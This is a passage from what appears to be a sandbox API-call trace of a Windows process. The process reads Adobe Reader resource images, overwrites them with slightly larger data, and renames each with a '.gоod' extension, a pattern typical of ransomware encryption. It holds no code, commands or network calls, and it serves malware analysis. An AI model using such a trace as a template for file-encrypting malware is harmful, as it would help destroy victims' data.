lpOverlapped=0x0) returned 1 [0161.985] CloseHandle (hObject=0x63c) returned 1 [0161.986] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x80 [0161.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.986] GetFileType (hFile=0x63c) returned 0x1 [0161.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.986] GetFileType (hFile=0x63c) returned 0x1 [0161.986] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x2a30 [0161.986] WriteFile (in: hFile=0x63c, lpBuffer=0x35728d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x35728d8*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0161.987] CloseHandle (hObject=0x63c) returned 1 [0161.987] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x80 [0161.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.988] GetFileType (hFile=0x63c) returned 0x1 [0161.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.988] GetFileType (hFile=0x63c) returned 0x1 [0161.988] ReadFile (in: hFile=0x63c, lpBuffer=0x3574c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x3574c28*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0162.021] CloseHandle (hObject=0x63c) returned 1 [0162.022] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x80 [0162.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0162.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0162.446] GetFileType (hFile=0x63c) returned 0x1 [0162.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0162.446] GetFileType (hFile=0x63c) returned 0x1 [0162.446] WriteFile (in: hFile=0x63c, lpBuffer=0x3506b28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3506b28*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0162.446] CloseHandle (hObject=0x63c) returned 1 [0162.446] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x80 [0162.446] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif.gоod", lpFilePart=0x0) returned 0x85 [0162.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0162.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5d0ab885, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2a40)) returned 1 [0162.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0162.447] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif.gоod")) returned 1 [0162.447] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x82 [0162.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0162.448] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x37be068 | out: lpFileInformation=0x37be068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6aa2)) returned 1 [0162.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0162.448] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x82 [0162.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0162.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0162.448] GetFileType (hFile=0x63c) returned 0x1 [0162.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0162.448] GetFileType (hFile=0x63c) returned 0x1 [0162.448] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0162.448] ReadFile (in: hFile=0x63c, lpBuffer=0x37be5a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x37be5a0*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0162.450] CloseHandle (hObject=0x63c) returned 1 [0162.450] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x82 [0162.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0162.450] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0162.450] GetFileType (hFile=0x63c) returned 0x1 [0162.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0162.450] GetFileType (hFile=0x63c) returned 0x1 [0162.450] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x6aa2 [0162.450] WriteFile (in: hFile=0x63c, lpBuffer=0x37bf8c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x37bf8c8*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0162.451] CloseHandle (hObject=0x63c) returned 1 [0162.451] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x82 [0162.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0162.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0162.452] GetFileType (hFile=0x63c) returned 0x1 [0162.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0162.452] GetFileType (hFile=0x63c) returned 0x1 [0162.452] ReadFile (in: hFile=0x63c, lpBuffer=0x37c1c18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x37c1c18*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0162.556] CloseHandle (hObject=0x63c) returned 1 [0162.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x82 [0162.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0162.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0162.557] GetFileType (hFile=0x63c) returned 0x1 [0162.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0162.557] GetFileType (hFile=0x63c) returned 0x1 [0162.557] WriteFile (in: hFile=0x63c, lpBuffer=0x32dcd40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x32dcd40*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0162.557] CloseHandle (hObject=0x63c) returned 1 [0162.557] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif", lpFilePart=0x0) returned 0x82 [0162.557] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif.gоod", lpFilePart=0x0) returned 0x87 [0162.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0162.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5d1b697a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6ab2)) returned 1 [0162.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0162.558] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif.gоod")) returned 1 [0162.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png", lpFilePart=0x0) returned 0x74 [0162.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0162.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x330f988 | out: lpFileInformation=0x330f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f1)) returned 1 [0162.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0162.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png", lpFilePart=0x0) returned 0x74 [0162.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0162.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0162.559] GetFileType (hFile=0x63c) returned 0x1 [0162.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0162.559] GetFileType (hFile=0x63c) returned 0x1 [0162.559] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x3f1 [0162.559] ReadFile (in: hFile=0x63c, lpBuffer=0x33100e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x33100e8*, lpNumberOfBytesRead=0x1fdeaf88*=0x3f1, lpOverlapped=0x0) returned 1 [0162.861] CloseHandle (hObject=0x63c) returned 1 [0162.922] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png", lpFilePart=0x0) returned 0x74 [0162.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0162.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0162.923] GetFileType (hFile=0x63c) returned 0x1 [0162.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0162.923] GetFileType (hFile=0x63c) returned 0x1 [0162.923] WriteFile (in: hFile=0x63c, lpBuffer=0x34de4e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x34de4e8*, lpNumberOfBytesWritten=0x1fdeae98*=0x400, lpOverlapped=0x0) returned 1 [0162.924] CloseHandle (hObject=0x63c) returned 1 [0162.924] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png", lpFilePart=0x0) returned 0x74 [0162.924] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png.gоod", lpFilePart=0x0) returned 0x79 [0162.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0162.924] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5d523f98, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x400)) returned 1 [0162.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0162.925] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons.png.gоod")) returned 1 [0162.925] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png", lpFilePart=0x0) returned 0x77 [0162.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0162.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x34df898 | out: lpFileInformation=0x34df898*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b7)) returned 1 [0162.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0162.926] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png", lpFilePart=0x0) returned 0x77 [0162.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0162.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 